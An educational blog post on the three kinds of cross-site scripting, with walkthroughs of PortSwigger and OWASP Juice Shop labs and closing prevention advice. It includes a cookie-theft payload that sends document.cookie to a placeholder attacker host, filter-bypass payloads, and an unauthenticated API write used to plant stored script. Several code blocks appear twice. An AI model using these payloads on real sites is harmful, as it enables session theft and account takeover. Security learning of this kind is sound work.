July 27, 2026
Insights into XSS: Types, Where to Find Them, and How I Exploited Them in Labs
Cross-Site Scripting (XSS) has persistently appeared in the OWASP Top 10, and for good reason — a single unsanitized input can lead to…
By Ömer Habip
13 min read
Cross-Site Scripting (XSS) has persistently appeared in the OWASP Top 10, and for good reason — a single unsanitized input can lead to anything from editing the page to stealing every visitor's credentials, simply by having them view it. In this post, I'll break down the three main types of XSS, show where each one tends to hide, and walk through how I actually found and exploited them in intentionally vulnerable labs like PortSwigger and Juice Shop.
What is XSS?
At its core, XSS happens when an application takes user input and places it into a web page without properly sanitizing or encoding it — treating untrusted input as if it were safe, trusted content. If that input contains HTML or JavaScript, the browser executes it.
Types of XSS and Where to Find Them
XSS has three main villains: Reflected XSS, Stored XSS, and DOM XSS. They differ in how the payload reaches the victim and where it lives. Knowing these substantially narrows down where to look when hunting.
Reflected XSS
Reflected XSS is the simplest and least dangerous of the three. The payload is sent in the request and immediately reflected back in the response which means it isn't stored anywhere, so the attacker has to trick the victim into opening a crafted link. Reflected XSS can emerge in anything that echoes your input straight back onto the page such as search bars, error messages, URL parameters, and feedback pop-ups.
The simplest example of this phenomenon can be explained like this: if you search for [ITEM] on a page and it responds with "X results were found for: [ITEM]", you can simply change your [ITEM] to <script>alert(1)</script>. When it's searched, a popup appears; despite the popup being harmless, it shows something much deeper: any JavaScript can be run, just like alert(). Let's say the URL for such website looks like this: http://vulnerablesite.com/search?item=[ITEM] so one can steal the cookies of another person by simply sending them the payload below.
Payload : <script>new Image().src='https://YOURWEBSITEHOOK.com/?cookie='+encodeURIComponent(document.cookie)</script>
<!-- So the URL that will be sent to victim looks like something below -->
Full URL : http://vulnerablesite.com/search?item=%3Cscript%3Enew%20Image%28%29.src%3D%27https%3A%2F%2FYOURWEBSITEHOOK.com%2F%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3C%2Fscript%3E
<!-- This link is either sent to the victim or triggered in an iframe -->
<!-- One important catch: this only works if the cookie is not marked HttpOnly. The HttpOnly flag hides cookies from JavaScript, so document.cookie returns nothing for them. -->
Payload : <script>new Image().src='https://YOURWEBSITEHOOK.com/?cookie='+encodeURIComponent(document.cookie)</script>
<!-- So the URL that will be sent to victim looks like something below -->
Full URL : http://vulnerablesite.com/search?item=%3Cscript%3Enew%20Image%28%29.src%3D%27https%3A%2F%2FYOURWEBSITEHOOK.com%2F%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3C%2Fscript%3E
<!-- This link is either sent to the victim or triggered in an iframe -->
<!-- One important catch: this only works if the cookie is not marked HttpOnly. The HttpOnly flag hides cookies from JavaScript, so document.cookie returns nothing for them. -->Enough theory. Here's how this actually played out when I went hunting in the labs.
How I found Reflected XSS in OWASP Juice Shop
While I was monkeying around in Juice Shop, I noticed that when you make a purchase, a random id is attached to your order, and that id is added to the URL as well as shown on the tracking page.
So I wanted to see if HTML was being rendered, using the payload <b>text</b>. The website showed the text as bold and reflected it in the page's code as well, confirming that my input wasn't being escaped.
So I changed my payload to <svg onload=alert()>, to which the website responded with an alert, confirming the XSS.
However, real applications aren't all sunshine and rainbows. They often filter or encode your input, so you have to get more creative. There are endless ways a site can try to block you, and PortSwigger's labs showcase a handful of the most common ones. These include :
- Attribute injection : Sites have different ways of eliminating XSS, and one of them is encoding the < and > characters so you can't open a new tag. But if your input lands inside an attribute like
value="...", you can break out of it with a quote and add your own event handler, such as" onmouseover="alert(1). The encoding blocks new tags, but not new attributes on a tag that already exists - JavaScript string breakout : Sometimes your input isn't placed in HTML at all, but inside a JavaScript string, like
var search = '...'. So you need to break out of the string itself. In the simplest case you can close the quote and run your own code with';alert(1)//. However, harder variants escape the single quote but forget the backslash, or escape both so you have to leave the<script>block entirely. Some even drop your input into a template literal wrapped in backticks. - Bypassing the blocklists : Some sites fight back by blocking common tags like
<script>or<img>but they might forget about less obvious ones like ,<details>. Even if they block all standard tags they can still forget about custom tags. In these cases tools like Burp Intruder help you brute-force which tag and event combinations are actually allowed.
Each of these variants needs its own deep analysis and escaping, which makes XSS highly context-dependent.
My First Expert Lab: Event Handlers and href Both Blocked
Here's how I approached my first expert-level lab, where nearly every obvious vector was blocked.
First, I tried the well-known payloads such as <script>alert() and <img src="" onerror=alert()>, but all of them gave me the error Tag is not allowed. However, the payload <svg onload=alert()> gave a different error: Event is not allowed. Then I remembered the lab asked me to make a "Click me" anchor, so I tried <a href=javascript:alert()>Click Me!</a>, which returned Attribute is not allowed. That's when I understood I was dealing with serious filtering. I opened Burp Suite, sent my request to Intruder, and brute-forced tags and events taken from the XSS cheat sheet.
In the end, only a few tags were allowed: <a>, <animate>, <image>, <svg>, and <title>. And no events were allowed at all, which meant I needed to do some research to work around this situation.
First, I tried searching what <image> was in HTML, since it resembled the <img src=x onerror=alert()> type of payload. But only <img> came up, so I searched "what is <image> html -img" to filter it out, and nothing came up. I was dumbfounded. So I searched all the allowed tags together: <a>, <animate>, <image>, <svg>, <title>. I found them all on MDN, and when I looked into them, I noticed they were all related to <svg>. The <a> tag seemed promising because of its hyperlink capability. Then I searched for an <animate> example.
When I used this <svg> as a payload, it showed a rectangle transforming into a circle back and forth. The attributeName attribute immediately caught my eye, since the href attribute was blocked.
When I gave it a thought: the <a> tag had an href attribute but it was blocked, and the <animate> tag could assign attributes through text. I knew I had to combine them somehow to build <a href=javascript:alert()>Click Me!</a>. So I dug deeper into <animate>.
The attributeName was exactly what I guessed, so I could set it to attributeName="href". But I still needed to assign it a value, which was right in front of my eyes: values="0;5;0". I played around with it, changed it to just values="5", saw it worked, then changed it to values="javascript:alert()". This didn't work at first, because the <rect> tag doesn't have an href attribute. It needed to be on the hyperlinked "Click Me!" text, so I looked into <a> and took its "link around a text" structure.
now my payload looked like
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a>
<text x="50" y="90" text-anchor="middle">Click Me!</text>
<animate attributeName="href" values="javascript:alert()"/>
</a>
</svg><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a>
<text x="50" y="90" text-anchor="middle">Click Me!</text>
<animate attributeName="href" values="javascript:alert()"/>
</a>
</svg>I submitted it, clicked the link, and it fired. The lab was solved. It felt great to beat something that blocked almost every vector I knew. This lab taught me that even when everything obvious is blocked, there's almost always a forgotten corner. But reflected XSS has one big limitation: the victim has to click your link. Stored XSS removes that problem entirely.
Stored XSS
Stored XSS is the most dangerous of the three. Instead of being reflected back in a single response, the payload is saved on the server and served to everyone who views the affected page. One injection can hit every visitor, and no one has to click a special link. They just have to load a normal page. This is why stored XSS tends to hide wherever user input is saved and later displayed: comment sections, feedback forms, blog posts, guestbooks, and profile fields like usernames or descriptions.
The simplest example works like this: imagine a blog with a comment section. You post a comment, and everyone who opens that blog post sees it. Now, instead of a normal comment, you submit: <script>alert(1)</script> If the site saves and displays it without sanitizing, the script isn't shown as text. It runs in the browser of every single visitor who opens that page. Unlike reflected XSS, you don't need to trick anyone into clicking a crafted link. The payload just sits there, waiting, and fires on its own for anyone who loads the page. And just like with reflected XSS, that alert(1) could just as easily be a cookie-stealing payload, except here it runs for every visitor automatically, not just one person who clicked a link.
One thing worth noting before my Stored XSS writeup: the escaping and filter-bypass techniques I covered under reflected XSS apply here too. Whether your payload lands in an attribute, a JavaScript string, or behind a blocklist, the context decides the approach, not whether the XSS is reflected or stored. A stored payload still has to survive the same encoding and filtering on its way onto the page.
How I Used Juice Shop's Faulty API for Stored XSS
I was using Juice Shop as normal and I bought some items. When I looked at the HTTP history in Burp Suite, I saw that the app had made requests to places like /api/BasketItems, /api/Addresses, and /api/Users.
/api/SecurityQuestions and /api/Users interested me the most, because these were the ones I didn't control. Others, like /api/Addresses, only returned my own address that I had added. Reflected XSS could be tried there, but our topic now is stored XSS. So I looked deeper at /api/Users. It was a POST request I had made in order to create my account. But this newly noticed /api/Users endpoint made me wonder what was inside it, so I opened that link directly, and it gave me the error below.
So I opened Burp Suite, sent the request to Repeater, and changed the request's method from POST to GET. I deleted the Content-Type: application/json header and removed the body data. When I submitted the request, I was met with the message No Authorization header was found.
Then I went back to my other requests and copied my Authorization header from one of them. This time the request went through, and it returned the full list of users along with their credentials, even the admin's.
"id":1,"username":"","email":"admin@juice-sh.op","role":"admin","deluxeToken":"","lastLoginIp":"","profileImage":"assets/public/images/uploads/defaultAdmin.png","isActive":true,"createdAt":"2026-07-26T12:18:05.515Z","updatedAt":"2026-07-26T12:18:05.515Z","deletedAt":null"id":1,"username":"","email":"admin@juice-sh.op","role":"admin","deluxeToken":"","lastLoginIp":"","profileImage":"assets/public/images/uploads/defaultAdmin.png","isActive":true,"createdAt":"2026-07-26T12:18:05.515Z","updatedAt":"2026-07-26T12:18:05.515Z","deletedAt":nullThis made me think: what other places would give me their full list? So I went to main.js, hit CTRL+F, and searched for the term /api. This turned up one path I hadn't seen before: /api/Products. I added the path directly to my browser, and this time it worked. It didn't ask for an Authorization header.
Then I tried to add my own item to the shop by simply changing my GET request to a POST. I was able to create a new item, but I couldn't reach it or see it in the market. So I thought about modifying an existing one that I could actually see, and I sent a PUT request. But I got Error: Unexpected path: /api/Products.
So I went back through my HTTP history, where I noticed a request that fired when I viewed an item: /rest/products/23/reviews. This gave me the idea that maybe I should shape my path the same way, as /api/Products/23. I tried it with this payload:
It worked! When anyone views the item, the pop-up appears.
Note: at first I actually forgot to add Content-Type: application/json after changing the method from GET to PUT. The response said success, but it didn't change anything. After some digging, I realized I had forgotten to tell the server which format I was using. So yeah.
A harmless alert() here, but the same stored payload runs in the browser of every user who views that product. In a real application, that could mean stolen sessions or a hijacked admin account, all from a single API request that the frontend was never supposed to allow.
So far, both reflected and stored XSS have shared one thing: the payload travels to the server. Reflected bounces it straight back in a response, and stored tucks it away in a database to serve later. But there's a third type where the server might never even see your payload: DOM XSS where the entire attack plays out in the browser.
DOM XSS
DOM-based XSS lives entirely in the client-side JavaScript. Instead of the server injecting your payload into the page, the page's own script reads it from a source and writes it into a sink, all inside the browser.
A source is where the script gets its input, like location.hash, location.search, or document.referrer. A sink is where that input ends up, most common ones are: innerHTML, document.write, or eval. When untrusted data flows from a source into a sink without being sanitized, you get DOM XSS.
This is also why you often won't find your payload in the page source. If you hit Ctrl+U and search for it, it won't be there, because the server never rendered it. The JavaScript wrote it in after the page had already loaded. However, you can still find the sinks in the page's JavaScript. Reading the source and tracing how your input flows from a source into a sink is often how you spot DOM XSS in the first place.
How I Traced a DOM XSS from Source to Sink
When I opened the lab, the first thing I did was search the page's source using CTRL+U. I saw nothing useful, so I went to the Sources tab and looked for .js files, but there was nothing there either. So I continued by viewing a product and inspecting its source code. There, I found a rather interesting script containing exactly the keywords I was looking for.
This code looked at the URL, took the storeId part, and wrote it into the page using document.write. So I added &storeId=test to the URL, which was previously product?productId=3, making my new URL product?productId=3&storeId=test. When I looked at the page, I saw that my value had been added as an option in the dropdown.
Now I needed to write my payload in a way that <option selected>SOMETHING</option> would give me an alert. My first thought was that I needed to break out of the option and select elements, so I built the payload </option></select><script>alert()</script>, and it worked.
This lab was DOM XSS in its clearest form. I could open the source, find the exact script, and watch my input flow from the URL straight into document.write. But real-world single-page apps rarely make it that easy. To see what happens when the sink is hidden, I went back to Juice Shop.
How I Found DOM XSS Without Seeing the Sink
When I opened Juice Shop, the first thing I did was look for the source code, hoping to trace the sink like I did in the previous lab. However, this time there was nothing to find. Juice Shop is an Angular single-page app, so everything is bundled and minified. There was no readable script showing my input flowing into a sink.
So instead of reading the code, I had to rely on behavior. I searched for 1'a"b9sa<c> in the search bar.
My input came back, but the <c> was missing, which told me it was being parsed as HTML rather than shown as plain text. The sink itself wasn't visible in the raw page source, but I could inspect the already-rendered elements in DevTools to confirm my input was landing in the DOM as actual HTML.
Voilà. The page was inserting my search value directly into the markup. So I changed my payload to <script>alert()</script> to trigger an alert. However, no alert fired, even though the tag was clearly sitting there in the page's code.
The reason comes down to how the value is inserted. This was the opposite of the document.write lab: there, a plain <script> ran fine, because document.write executes scripts as the page is parsed. Here, the value was inserted the way innerHTML does, and when content is written through DOM properties like innerHTML, the browser parses the markup but deliberately skips any <script> tag it finds. So the tag showed up in the DOM, but it never ran. Instead of a script tag, I used <img src=x onerror=alert()>, which the browser executed.
This time, the alert fired. Even though I never saw the sink in the source, the behavior told me everything I needed: my input reached a sink that rendered it as HTML, and switching from a <script> tag to an event handler was enough to get my code running.
Between these two labs, DOM XSS showed me something the other types didn't: the same payload can succeed or fail depending entirely on the sink it lands in. A <script> that runs through document.write sits dead inside an innerHTML sink. In DOM XSS, understanding the sink matters more than the payload itself.
Wrapping Up
Across these labs, the same lesson kept coming back: XSS isn't a single trick, it's a family of bugs that all come down to untrusted input being treated as code. What changes is the context. With reflected XSS, I had to bend my payload around filters and encoding. With stored XSS, the real work was finding an injection point the frontend never meant to expose. With DOM XSS, it was tracing how my input flowed from a source into a sink, and understanding how that sink behaved.
If there's one thing worth taking away, it's that finding XSS is less about memorizing payloads and more about understanding where your input goes and what happens to it along the way.
How to Prevent XSS
The core fix for XSS is simple to state: never trust user input, and never treat it as code. In practice that means a few things. Encode output based on context, so user input is rendered as text, not markup. On the client side, prefer safe sinks like textContent over innerHTML. Use a Content Security Policy as a second layer, so that even if a payload slips through, the browser blocks inline scripts. And lean on modern frameworks like Angular and React, which escape output by default, as long as you don't opt out with things like bypassSecurityTrustHtml.
One last note: everything here was done in intentionally vulnerable labs built for practice, like PortSwigger's Web Security Academy and OWASP Juice Shop. Never test these techniques on systems you don't own or don't have explicit permission to test. The difference between security research and a crime is authorization.